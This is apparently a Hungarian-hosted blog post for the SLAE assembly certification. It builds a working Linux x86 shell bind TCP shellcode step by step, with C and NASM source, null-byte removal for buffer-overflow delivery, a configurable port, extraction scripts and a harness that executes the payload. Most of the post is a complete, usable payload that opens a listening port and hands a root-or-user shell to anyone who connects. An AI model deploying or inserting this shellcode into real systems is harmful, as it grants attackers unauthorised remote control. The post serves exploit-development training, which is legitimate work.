Skip to content

A1 – Shell Bind TCP

    The first assignment of the SLAE course is to create a working Shell Bind TCP shellcode. First of all, you might have some questions:

    What does „shellcode” mean?
    The „shellcode” is a tiny program, a machine code, which has a very specific goal. This code can be executed by the CPU directly, thus the code has to be binded to a CPU architecture – in this case to IA-32 (32bit architecture of Intel).

    What is „Shell Bind TCP”?
    The purpose of a Shell Bind TCP shellcode is to open a TCP port, listens on it, and starts a shell when someone (typically the attacker) connects to this port. In this case the attacker gets a shell with the rights of the process which has started the shellcode.

    Let’s start!

    Shellcodes are usually compiled from assembly code, but to see clear, we should write the code in a higher level programming language, for example in C. In order to accomplish our task, we need the following parts:

    1. Creating a socket
    2. Bind it to an IP address and to a port
    3. Waiting for incoming connection and accept it
    4. Duplicate standard input / output / error channels and the socket for the new connection.
    5. Execute a shell

    Now, let’s see our C code;

    #include <unistd.h>
    #include <stdlib.h>
    #include <netinet/in.h>
    
    void main() {
    	// Create an IPv4 socket
    	int sock = socket (AF_INET, SOCK_STREAM, 0);
    	
    
    	// Preparing bind address
    	struct sockaddr_in addr;
    	
    	addr.sin_family = AF_INET;          // IPv4
    	addr.sin_addr.s_addr = INADDR_ANY;  // 0.0.0.0 = any interface, any address
    	addr.sin_port = htons (2222);	    // Port number
    	
    	int ret;
    
    	// bind to the address, and waiting for connection
    	ret = bind (sock, (struct sockaddr*)&addr, sizeof (addr));
    	ret = listen (sock, 1);
    	
    	// accept incoming connection
    	int client = accept (sock, (struct sockaddr*)NULL, NULL);
    
    	// duplicate file descriptors
    	// we need the
    	//   socket = sock
    	//   stdin  = 0
    	//   stdout = 1
    	//   stderr = 2
    	// it is just a single loop, don't mind the other FDs between stderr and socket
    
    	for (int i=sock; i>=0; i--) {
    		dup2 (client, i);
    	}
    
    	// We can execute a shell now, using execve syscall
            // from this point the shell will take over the control,
    	// so we don't need to call exit at the end.
    
    	char *argv[] = { "/bin/sh", 0 };
    	execve ("/bin/sh", argv, NULL);
    }

    Turn the code into assembly

    How can we create the same functionality in assemby language? The answer is: with syscalls. Linux Assembly provides an interface for calling syscalls via interrupt 0x80. The rules for a syscall are easy:

    1. Put the syscall number into EAX
    2. First parameter into EBX
    3. Second parameter into ECX
    4. Fourth parameter into EDX
    5. After setting the registers, call interrupt 0x80
    6. The return value will be stored in EAX

    On Linux systems the syscall numbers could be found in the /usr/include/i386-linux-gnu/asm/unistd_32.h file:

    #define __NR_execve 11
    #define __NR_dup2 63
    #define __NR_socketcall 102
    
    

    Hey, Houston! We have a problem! Cannot find socket(), bind(), listen() and accept()… But what is socketcall()? We can see it in its man page:

    NAME
           socketcall - socket system calls
    
    SYNOPSIS
           int socketcall(int call, unsigned long *args);
    
    ....
    
    NOTES
           On a some architectures—for example, x86-64 and ARM—there is no socketcall() system call; instead socket(2), accept(2), bind(2), and so on really are implemented as separate
           system calls.
    

    Okay, so we have to use socketcall() intsead of the others on IA-32 systems. As you can see, we have to put the syscall number (102 = 0x66) into EAX, socket call number into EBX, and a pointer to dwords into ECX (long is 32bit wide). We can easily provide a ponter to arguments if we are pushing those values on the stack, and then set ECX to the value of ESP (stack pointer). Please notice, that we have have to push the parameters in reverse order, because the whole stack is reversed.

    Unfortunately, socketcall numbers are not well-documented, but with a little effort you can Google them:

    socket = 1
    bind   = 2
    listen = 4
    accept = 5

    Ok, we are know everything we need, let’s write the assembly code for the networking-part of our shellcode:

    global _start
    	
    section .text
    
    	_start:
    		;---------------------------------------------------------------
    		; call socketcall for socket()
    		; socket (AF_INET = 2, SOCK_STREAM = 1, 0)
    		; push params in reverse order
    		;---------------------------------------------------------------
    	
    		push dword 0
    		push dword 1
    		push dword 2
    		
    		mov eax, 0x66           ; socketcall
    		mov ebx, 1              ; socket()
    		mov ecx, esp            ; pointer to args
    		int 0x80
    
    		mov edx, eax            ; store return value in EDX	
    		
    		;---------------------------------------------------------------
    		; call socketcall for bind()
    		; socket nr moved to edx!
    		; bind (sock, struct sockaddr* addr, length of addr)
    		;---------------------------------------------------------------
    		; create sockaddr
    		push dword 0x0			; network address to bind is 0.0.0.0
    		push word 0xae08		; port, reverse byte order, 2222
    		push word 2	 			; AF_INET
    		mov  ecx, esp			; store address in ecx
    		
    		push 16                 ; legth of struct sockaddr (what we have set + 8 bytes sin_zero)
    		push ecx				; address of prepared sockaddr
    		push edx                ; our main socket
    		
    		mov eax, 0x66           ; socketcall
    		mov ebx, 2              ; bind()
    		mov ecx, esp            ; pointer to args
    		int 0x80
    
    		;---------------------------------------------------------------
    		; call socketcall for listen()
    		; listen (sock, backlog)
    		;---------------------------------------------------------------
    		push byte 1				; we need to support one client only
    		push edx                ; our main socket
    		
    		mov eax, 0x66           ; socketcall
    		mov ebx, 4              ; listen()
    		mov ecx, esp            ; pointer to args
    		int 0x80
    
    		;---------------------------------------------------------------
    		; call socketcall for accept()
    		; accept (sock, addr, addrlen) -> addr and addrlen could be null
    		;---------------------------------------------------------------
    		push dword 0x0			; addlen = NULL
    		push dword 0x0			; address = NULL
    		push edx				; our main socket
    		
    		mov eax, 0x66			; socketcall
    		mov ebx, 5				; accept()
    		mov ecx, esp			; pointer to args
    		int 0x80
    
    		mov ecx, edx			; store main socket nr in ECX (for loop)
    		mov edx, eax			; store client socket nr in EDX
    		
    		;---------------------------------------------------------------
    		; Assign stdin, stdout, stderr to new socket
    		; new socketid stored in edx...
    		; please notice that ecx loops over stderr, stdout, stdin
    		;
    		; int dup2(int oldfd, int newfd)
    		;             EBX        ECX
    		;---------------------------------------------------------------
    		mov ebx, edx			; client channel
    		duploop:
    			mov eax, 0x3f		; dup2
    			int 0x80			; syscall
    			dec ecx				; decrease file descriptor (newfd)
    			jns duploop			; jump to duploop if the ECX >= 0

    Super, we are almost done! Now, we have to spawn a shell via the execve syscall.

    int execve(const char *filename, char *const argv[], char *const envp[]);

    Construct the syscall:

    EAX = 0xb (11, execve)
    EBX = pointer to the absolute path of the executable (char*, null terminated)
    ECX = pointer to the arguments. argv[0] should contain the executable! Last value have to be NULL.
    EDX = pointer to environment, this could be null in our case.

    In order to construct the data and pointers, we are going to use the stack. Notice that the stack is reversed, so we have to reverse our strings too!

    First of all, create the string for the shell. I have picked /bin/sh which would be hs/nib/ in reversed order. Of course we have to put a trailing zero – in front of the reversed string. We would not push the whole string byte-by-byte, so push it by double words.

    The first 4 byte to push (trailing zero + hs/) will be 0x0068732f, the second part will be 0x6e69622f. Push them, and save the stack pointer to EBX.

    Then we need to create an array of double words. The first element contains the address of the executable (stored in EBX), the second element has to be NULL. Push those values to to stack in reverse order! Push the NULL first! EDX should point to a NULL too, so we can reuse this part of the stack. Store the stack pointer in EDX, then push EBX to the stack, and store the stack pointer in ECX.

    That’s all, we can call int 0x80 to spawn a shell!

    		;---------------------------------------------------------------
    		; Run /bin/sh with execve syscall
    		;---------------------------------------------------------------
    		
    		mov eax, 0xb
    		
    		push 0x0068732f
    		push 0x6e69622f
    		mov ebx, esp
    		
    		push 0x0
    		mov edx, esp
    		
    		push ebx
    		mov ecx, esp
    		
    		int 0x80

    Right now we can compile our assembly code, and run it. But we have to fetch the valuable part of the executable. The program named ‘objdump’ is really handy here. It can disassemble the compile object file, and shows the bytecode for every line of the assembly code as well. Using argument -d for disassemble, and ‘-M intel’ to show the assembly code in Intel format instead of AT&T.

    csszabolcs@slae:~/SLAE/A1-ShellBindTCP$ objdump -d -M intel ShellBindTCP.o
    
    ShellBindTCP.o:     file format elf32-i386
    
    
    Disassembly of section .text:
    
    00000000 <_start>:
       0:	6a 00                	push   0x0
       2:	6a 01                	push   0x1
       4:	6a 02                	push   0x2
       6:	b8 66 00 00 00       	mov    eax,0x66
       b:	bb 01 00 00 00       	mov    ebx,0x1
      10:	89 e1                	mov    ecx,esp
      12:	cd 80                	int    0x80
      14:	89 c2                	mov    edx,eax
      16:	6a 00                	push   0x0
      18:	66 68 08 ae          	pushw  0xae08
    ...

    As you can see in the first few lines of the output, the shellcode has a few „bad characters”.

    What is a bad character?

    Bad character is a byte, which could lead to a failure of the shellcode. Typically, zero-byte is a bad character. There are many exploits which take advantage of unvalidated user inputs – usually strings. In general, C strings are terminated by a zero-byte, so our shellcode will fail in buffer overflow attacks – because the end of the code will be chopped down in case of a string copy.

    Get rid of bad characters

    The next task is to get rid of bad characters. I am going to optimize the code for smaller size as well. (smaller shellcode is better shellcode)

    How could be the zero-bytes eliminated? Look at the objdump output again! Problematic commands are:

    • Setting 0 value
    • Moving a one-byte value into a larger register
      mov eax, 0x66 : EAX is a 4-byte register, so this will be mov eax, 0x00000066

    The trick is in use of bitwise logical operands, for example XOR. If you XOR a value with itself, the result will be 0. Thus, we can replace mov <register>, 0 with xor <register>,<register>

    In the second case, we have to avoid setting a one-byte value to a multibyte register. We can access the parts of the general registers:

    Of course, we can do the same with EBX, ECX and EDX.

    If we know that EAX has the value of 0x00, and want to set the value to 0x66, we can handle it by setting only the lowest byte of EAX – which is AL. The command mov al, 0x66 will not contain zero bytes.

    We need one more trick! You might remember that we pushed /bin/sh + a trailing zero to the stack before the execve syscall. The trailing zero and ‘sh/’ transformed into a double word: 0x0068732f. The trailing zero could be pushed onto the stack separatedly, but ‘/bin/sh’ is only 7 bytes long. Thanks to Linux, we can duplicate any of the slashes in a command. For example /bin/sh is the same as //bin/sh or /bin//sh. Just try it on your linux box!

    We have to modify the two dwords from ‘/bin/sh’ + 0x00 to ‘/bin//sh’. (in reverse order…)

    csszabolcs@slae:~/SLAE/A1-ShellBindTCP$ echo -ne "hs//nib/"|hexdump -C
    00000000  68 73 2f 2f 6e 69 62 2f                           |hs//nib/|
    00000008
    

    As you can see, we are going to push 0x68732f2f and 0x6e69622f to the stack.

    Try to use as less commands as we can! One more trick: if you have the value X in a register, and need to put X+1 in it, use inc istead of mov because inc will be shorter in bytecode.

    Here is the full code, with comments:

    ; BindShellTCP shellcode for SLAE
    ; version 2
    ; Shellcode contains bad characters (0)
    ; Shellcode length 102 bytes
    	
    global _start
    	
    section .text
    
    	_start:
    		;---------------------------------------------------------------
    		; call socketcall for socket()
    		; socket (AF_INET = 2, SOCK_STREAM = 1, 0)
    		; push params in reverse order
    		;---------------------------------------------------------------
    		xor edi,edi				; preparing 0 values
    		xor eax,eax
    		xor ebx,ebx
    		
    		push ebx				; ebx = 0
    		
    		inc ebx					; ebx = 1
    		push ebx
    
    		inc ebx					; ebx = 2
    		push ebx
    						
    		mov al, 0x66			; eax = 0, set lowest byte only
    		dec ebx 				; ebx = 1
    		mov ecx, esp
    		int 0x80
    
    		mov esi, eax			; we will store socket handle in esi
    		
    		;---------------------------------------------------------------
    		; call socketcall for bind()
    		; socket nr moved to esi!
    		; bind (sock, struct sockaddr* addr, length of addr)
    		;---------------------------------------------------------------
    		; create sockaddr
    		push edi				; network addr to bind (edi is still 0)
    		push word 0xae08		; port, reverse byte order, 2222
    		inc ebx					; AF_INET (ebx = 2)
    		push bx
    		mov ecx, esp			; store address in ecx
    		
    		xor eax, eax			; set eax to 0
    		mov al, 16				; modify lowest byte only
    		push eax
    		push ecx
    		push esi
    		
    		mov al, 0x66			; ebx is still 2!
    		mov ecx, esp
    		int 0x80
    
    		;---------------------------------------------------------------
    		; call socketcall for listen()
    		; listen (sock, backlog)
    		;---------------------------------------------------------------
    		push byte 1
    		push esi
    		
    		xor eax, eax			; set eax = 0
    		mov al, 0x66
    		mov bl, 4				; ebx = 2, have to overwrite only the lowest byte
    		mov ecx, esp
    		int 0x80
    
    		;---------------------------------------------------------------
    		; call socketcall for accept()
    		; accept (sock, addr, addrlen) -> addr and addrlen could be null
    		;---------------------------------------------------------------
    		push edi				; addrlen (edi is still 0)
    		push edi				; addr (edi is still 0)
    		push esi				; socket handle
    		
    		mov al, 0x66			; if listen was succeded, 0 returned in EAX
    		inc ebx					; ebx = 3
    		mov ecx, esp
    		int 0x80
    
    		;---------------------------------------------------------------
    		; Assign stdin, stdout, stderr to new socket
    		; new socketid stored in eax...
    		; please notice that ecx loops over stderr, stdout, stdin
    		;---------------------------------------------------------------
    		mov ecx, esi			; start the loop from the socket handle
    		mov ebx, eax			; client handle
    		duploop:
    			xor eax, eax		; set eax = 0
    			mov al, 0x3f		; overwrite only the lowest byte
    			int 0x80
    			dec ecx				; decrement file descriptor to duplicate
    			jns duploop
    
    		;---------------------------------------------------------------
    		; Run /bin/sh with execve syscall
    		;---------------------------------------------------------------
    		push eax				; after the loop it should be 0!
    								; dup2 gives back the new fd
    		push 0x68732f2f			; hs//
    		push 0x6e69622f			; nib/
    		mov ebx, esp
    		
    		push eax
    		mov edx, esp
    		
    		push ebx
    		mov ecx, esp
    		
    		mov al, 0xb
    		int 0x80
    			
    

    Configuring the port number

    There was a line in our assembly source, which is responsible for listening on a specific port:

    push word 0xae08		; port, reverse byte order, 2222

    The port should be easily configured. We have several ways to do it. The first way is to check the shellcode, and search for this part. If we know the correct position of this port number, we can write a wrapper script to exchange this word value to another.

    The other way is to append the port number at the end of the shellcode. The code will be slightly bigger, but I would like to show you the method named jump-call-pop.

    The main idea is to create a short jump to a specific label in the code. The next instruction after the label will be a „call”, and after the call we can define a 2-byte „variable”. The call method will push the address of the next instruction (means our variable at the moment) to the stack, so we can read the information stored here.

    To use this jump-call-pop method, we have to modify our code a little:

    First of all, we have to define our „variable” at the end of the code. Let’s append the following to the end:

    	port_config:
    		call port_configured
    		db 0x00,0x00
    

    You may be surprised: why am I using tipically „bad characters” – zero bytes in the code? The reason is that the compiler will strip those zero-bytes from the end of the code – thus we can simply append the new port number to the binary shellcode instead of replacing it.

    The „push word 0xae08” line had to be replaced with the following code:

    		jmp short port_config
    	port_configured:
    		pop edi
    		push word [edi]		    ; port number from stack

    Just to see clear, the process is the following:

    1. Short jump to port_config
    2. Call to port_configured (the address of the port variable will be on the top of the stack)
    3. Get the address of port number from stack
    4. Push the value stored on this address to the stack

    Compiling the shellcode

    Further than compiling, we should configure the port as well. I have written a small shell script, and a PHP script to compile and configure the code. (PHP is used because I am familiar with it, and the conversion is much easier than in a shell script.)

    The config.php gets a decimal port number as first argument, splits the value into bytes. If any of the bytes is 0x00, the script has to indicate the error. If everything is allright, we can return the port number in binary format:

    <?php
    
    $low = $argv[1] % 256;
    $high = floor($argv[1] / 256);
    
    if ($low == 0 || $high == 0) {
        exit (1);
    }
    echo chr($high).chr($low);

    We also need some shell-magic to fetch the shellcode from an object file. You can find it on commandlinefu.com. I have inserted the code into the getshellcode.sh script.

    #!/bin/sh
    
    objdump -d $1|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s #|sed 's/^/"/'|sed 's/$/"/g'

    I have also written the compile.sh shell script. This is for compiling the ASM source into an object file, then fetch the shellcode from to compiled binary, and finally append the port number to the shellcode. The final shellcode will be stored in <filename>.i32 file

    Usage: compile.sh <assembly file name without .nasm extension>

    #!/bin/bash
    echo "[+] Compiling $1.nasm"
    nasm $1.nasm -f elf32 -o $1.o
    echo "[+] Fetching shellcode..."
    echo -ne `./getshellcode.sh $1.o` >$1.i32
    echo "[+] Configure..."
    ret=1
    while true; do
        echo -ne "    Enter port number: "
        read port
        php ./config.php $port >>$1.i32
        if [ $? -ne 1 ]; then
    	# if the exit code was 0 - success, we can exit the loop
    	break;
        fi
        echo "    [!] ERROR: contains null-byte"
    done
    echo "[+] DONE!"

    Testing the shellcode

    To test the code, I have written a small C application. This app reads the shellcode from a file (filename passed as an argument), put the shellcode in the memory and pass the control to it.

    This small test application should be compiled with this command:

    gcc ./shellcode.c -fno-stack-protector -z execstack -o shellcode

    The source code for the test application:

    #include <stdio.h>
    #include <string.h>
    #include <stdlib.h>
    
    int main(int argc, char* argv[])
    {
    	if (argc < 2) {
    		printf ("Usage: shellcode <filename>\n");
    		return 1;
    	}
    
    	char* code;
    	
    	printf("Shellcode file: %s\n", argv[1]);
    	FILE* f = fopen (argv[1], "rb");
    	fseek (f, 0, SEEK_END);
    	long size = ftell (f);
    	
    	code = malloc (size);
    	
    	fseek (f, 0, SEEK_SET);
    	fread (code, 1, size, f);
    	fclose (f);
    	
    	printf("Shellcode Length:  %d\n", strlen(code));
    	
    	int (*ret)() = (int(*)())code;
    	ret();
    }

    Proof of concept

    a1


    This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
    http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
    Student ID: SLAE-768

    Vélemény, hozzászólás?

    Az e-mail címet nem tesszük közzé. A kötelező mezőket * karakterrel jelöltük